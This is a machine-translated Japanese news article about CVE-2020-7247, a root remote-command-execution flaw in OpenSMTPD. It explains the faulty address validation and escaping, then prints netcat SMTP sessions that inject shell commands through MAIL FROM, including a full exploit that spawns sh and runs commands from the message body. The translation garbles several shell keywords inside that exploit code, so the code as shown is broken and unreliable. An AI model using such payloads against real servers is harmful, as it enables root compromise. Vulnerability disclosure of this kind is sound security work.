OpenSMTPD に root 権限によるリモートコード実行を可能にする脆弱性

OpenBSDプロジェクトで開発されたメールサーバー内 OpenSMTPD 特定された 重大な脆弱性 (CVE-2020-7247) これにより、root ユーザー権限を使用してサーバー上でシェル コマンドをリモートで実行できるようになります。 この脆弱性は、Qualys Security によって実施された再監査中に特定されました (前回の OpenSMTPD 監査) 行われた 2015 年に新たな脆弱性が存在し、2018 年 XNUMX 月から存在しています。 問題 排除された OpenSMTPD 6.6.2 リリースでは。 すべてのユーザーは、直ちにアップデートをインストールすることをお勧めします (OpenBSD の場合、パッチは syspatch 経由でインストールできます)。

2つの攻撃バリアントが提案されています。最初のバリアントは、デフォルトのOpenSMTPD構成(localhostからのリクエストのみを受信する)で動作し、攻撃者がサーバー上のローカルネットワークインターフェイス(ループバック)にアクセスできる場合(たとえば、ホスティングシステム上)にローカルでの悪用を可能にします。2番目のバリアントは、OpenSMTPDが外部ネットワークリクエストを受信するように構成されている場合(サードパーティのメールを受け入れるメールサーバー)に発生します。研究者らは、OpenBSD 6.6に含まれるOpenSMTPDバリアントと他のオペレーティングシステム用のポータブルバージョン( Debian テスト中)。

この問題は、smtp_mailaddr() 関数のエラーが原因で発生します。この関数は、送信者/受信者を定義し、接続中に渡される「MAIL FROM」および「RCPT TO」フィールドの値の正確性をチェックするために呼び出されます。メールサーバーと一緒に。 電子メール アドレスの「@」記号より前の部分を確認するには、smtp_mailaddr() 関数が呼び出されます。
valid_localpart()。RFC 5322 の要求に従って、文字「!#$%&'*/?^`{|}~+-=_」を受け入れます (MAILADDR_ALLOWED)。

この場合、文字列の直接エスケープは mda_expand_token() 関数で実行され、文字「!#$%&'*?`{|}~」 (MAILADDR_ESCAPE) のみが置き換えられます。 以降、コマンド「execle("/bin/sh", "/bin/sh", "-c", mda_command,...」を使用して配信エージェント(MDA)を呼び出す際に、mda_expand_token()で用意した行が使用されます。 /bin/sh 経由で mbox に文字を配置する場合、「/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}」という行が開始され、値「%」が{mbox.from}」には、「MAIL FROM」パラメータからエスケープされたデータが含まれています。

この脆弱性の本質は、smtp_mailaddr() に論理エラーがあることです。このため、空のドメインが電子メールに送信されると、アドレスの「@」より前の部分に無効な文字が含まれている場合でも、関数は成功した検証コードを返します。 。 さらに、文字列を準備するときに、mda_expand_token() 関数は、考えられるすべてのシェル特殊文字をエスケープするのではなく、電子メール アドレスで許可される特殊文字のみをエスケープします。 したがって、コマンドを実行するには、電子メールのローカル部分で「;」記号を使用するだけで十分です。 およびスペース。これらは MAILADDR_ESCAPE セットに含まれず、エスケープされません。 例えば:

$nc 127.0.0.1 25

HELO教授ファルケン
メール送信者:<;sleep 66;>
RCPT 宛先:
DATA
.
QUITを

このセッションの後、OpenSMTPD が mbox に配信されると、シェルを通じてコマンドが起動されます。

/usr/libexec/mail.local -f ;スリープ 66; 根

同時に、アドレスのローカル部分が 64 文字を超えてはならず、特殊文字「$」と「|」が使用できないという事実により、攻撃の可能性は制限されます。 エスケープする場合は「:」に置き換えられます。 この制限を回避するには、レターの本文が /usr/libexec/mail.local の実行後に入力ストリームを通じて送信されるという事実を利用します。 アドレスを操作することによってできるのは、sh コマンド インタプリタを起動し、レターの本文を一連の命令として使用することだけです。 サービス SMTP ヘッダーはレターの先頭に示されているため、ループ内で read コマンドを使用してそれらをスキップすることをお勧めします。 機能するエクスプロイトは次のようになります。

$nc 192.168.56.143 25

HELO教授ファルケン
メール送信者:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
受信先:
DATA
#0
#1
...
#d
WOPR の i の場合。 する
echo -n "($i) " && id || 壊す
完了 > /root/x."`id -u`.""$$"
.
QUITを

出所: オープンネット.ru

DDoS 保護機能を備えた信頼性の高いサイト用ホスティング、VPS VDS サーバーを購入する 🔥 DDoS攻撃対策付きの信頼性の高いウェブサイトホスティング、VPS/VDSサーバーを購入しましょう | ProHoster